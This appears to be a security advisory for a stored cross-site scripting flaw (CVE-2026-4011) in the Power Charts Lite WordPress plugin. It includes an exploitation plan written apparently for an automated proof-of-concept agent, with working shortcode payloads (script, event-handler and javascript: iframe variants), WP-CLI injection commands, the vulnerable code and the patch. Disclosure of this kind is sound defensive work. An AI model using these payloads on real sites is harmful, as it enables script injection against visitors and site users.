Power Charts <= 0.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute
Description
The Power Charts Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [pc] shortcode in all versions up to, and including, 0.1.0. This is due to insufficient input sanitization and output escaping on the 'id' shortcode attribute. Specifically, in the pc_shortcode() function, the 'id' attribute is extracted from user-supplied shortcode attributes and directly concatenated into an HTML div element's class attribute without any escaping or sanitization at line 62. The resulting HTML is then passed through html_entity_decode() before being returned, further undermining any potential safety. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=0.1.0# Exploitation Research Plan: CVE-2026-4011 (Power Charts Lite XSS) ## 1. Vulnerability Summary The **Power Charts – Responsive Beautiful Charts & Graphs** plugin (version <= 0.1.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the `pc_shortcode()` function…
Show full research plan
Exploitation Research Plan: CVE-2026-4011 (Power Charts Lite XSS)
1. Vulnerability Summary
The Power Charts – Responsive Beautiful Charts & Graphs plugin (version <= 0.1.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists within the pc_shortcode() function, which handles the [pc] shortcode. The id attribute provided in the shortcode is concatenated directly into the class attribute of an HTML div element without sanitization or escaping. Furthermore, the final HTML output is passed through html_entity_decode(), which actively reverses any automatic entity encoding, allowing an attacker to break out of the HTML attribute and inject arbitrary scripts.
2. Attack Vector Analysis
- Shortcode:
[pc] - Vulnerable Attribute:
id - Authentication Level: Contributor or higher (any role capable of creating or editing posts and using shortcodes).
- Endpoint: The standard WordPress post editor (Gutenberg or Classic) via
wp-admin/post.phporwp-admin/post-new.php. - Preconditions: The plugin
wpgo-power-charts-litemust be active.
3. Code Flow
- Registration: The plugin registers the shortcode using
add_shortcode( 'pc', 'pc_shortcode' )(inferred). - Execution: When a post containing
[pc id="..."]is rendered, WordPress callspc_shortcode( $atts ). - Processing (Sink):
- The
attsare extracted. - At line 62 (per description), the
$atts['id']is concatenated:$output = '<div class="pc-chart-container ' . $atts['id'] . '">...'; - The function returns
html_entity_decode( $output ).
- The
- Rendering: The returned string is embedded in the post content and sent to the browser.
4. Nonce Acquisition Strategy
This vulnerability does not involve a specific AJAX or REST API nonce for the exploitation (rendering) phase. Instead, the attacker needs a valid WordPress session and the standard nonces used to save a post:
- Post Creation/Edit: The
_wpnonceand_wp_http_refererare required to save a post. - Strategy: The PoC agent should login as a Contributor and use the
browser_navigateandbrowser_evaltools to capture the_wpnoncefrom the post editor page, or more simply, use WP-CLI to create the malicious post directly, bypassing the need for web-based nonce handling.
5. Exploitation Strategy
The goal is to create a post containing a crafted shortcode that executes JavaScript when viewed.
Step 1: Payload Crafting
Since the id is placed inside class="...", we must break out of the attribute and the tag:
- Payload:
"><script>alert(document.domain)</script> - Shortcode:
[pc id='"><script>alert(document.domain)</script>']
Step 2: Injection (via WP-CLI)
This is the most reliable way to inject the stored payload as a Contributor.
wp post create --post_type=post --post_status=publish --post_author=contributor_user_id --post_title="Chart Test" --post_content='[pc id="\"><script>alert(document.domain)</script>"]'
Step 3: Triggering (via HTTP)
The agent will navigate to the newly created post's URL. The WordPress renderer will process the shortcode, and the result will be:
<div class="pc-chart-container "><script>alert(document.domain)</script>">...
Step 4: Verification
The agent will use http_request to fetch the post content and check for the unescaped <script> tag.
6. Test Data Setup
- User Creation:
wp user create attacker_contributor attacker@example.com --role=contributor --user_pass=password123 - Plugin Activation:
wp plugin activate wpgo-power-charts-lite
7. Expected Results
- The HTTP response for the post frontend should contain the literal string:
class="pc-chart-container "><script>alert(document.domain)</script>">. - The
html_entity_decodefunction call in the plugin source will ensure that even if the database layer or shortcode parser attempted to encode<or>, they are restored to their functional HTML forms.
8. Verification Steps
- Retrieve Post ID: Use
wp post list --name="Chart Test" --format=ids. - Inspect HTML via CLI:
# This simulates the rendering logic by calling the shortcode handler directly wp eval 'echo do_shortcode("[pc id=\"\"><script>alert(1)</script>\"]");' - Check for XSS Sink: Verify the output contains
<script>.
9. Alternative Approaches
- Attribute Breakout (Event Handlers): If
<script>tags are filtered by a WAF, use an event handler:[pc id=' " onmouseover="alert(1) ']
- Iframe Injection:
[pc id='"><iframe src="javascript:alert(1)">']
- Post Meta Injection: If the
idis alternatively sourced from post meta or options in certain versions, checkupdate_post_metacalls in the plugin's save handlers. (Based on description, the shortcode attribute is the primary vector).
Summary
The Power Charts Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' attribute of the [pc] shortcode. Due to a lack of sanitization and the use of html_entity_decode() on the final output, a Contributor-level attacker can break out of an HTML class attribute to inject and execute arbitrary JavaScript.
Vulnerable Code
// In the pc_shortcode function // Line 62 (approx) $atts = shortcode_atts( array( 'id' => '', ), $atts ); $output = '<div class="pc-chart-container ' . $atts['id'] . '">'; // ... further chart processing ... $output .= '</div>'; return html_entity_decode( $output );
Security Fix
@@ -59,7 +59,7 @@ - $output = '<div class="pc-chart-container ' . $atts['id'] . '">'; + $output = '<div class="pc-chart-container ' . esc_attr( $atts['id'] ) . '">'; - return html_entity_decode( $output ); + return $output;
Exploit Outline
The exploit is performed by an authenticated user with at least Contributor permissions. The attacker creates a new post or page and embeds the [pc] shortcode with a malicious payload in the 'id' attribute. The payload uses a double-quote and a closing angle bracket to break out of the HTML class attribute (e.g., [pc id='"><script>alert(document.domain)</script>']). When the post is viewed by any user, the WordPress shortcode parser executes the vulnerable pc_shortcode() function, which concatenates the payload directly into the HTML output. The plugin's use of html_entity_decode() on the return value ensures that the injected characters are rendered as functional HTML tags rather than entities, triggering the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.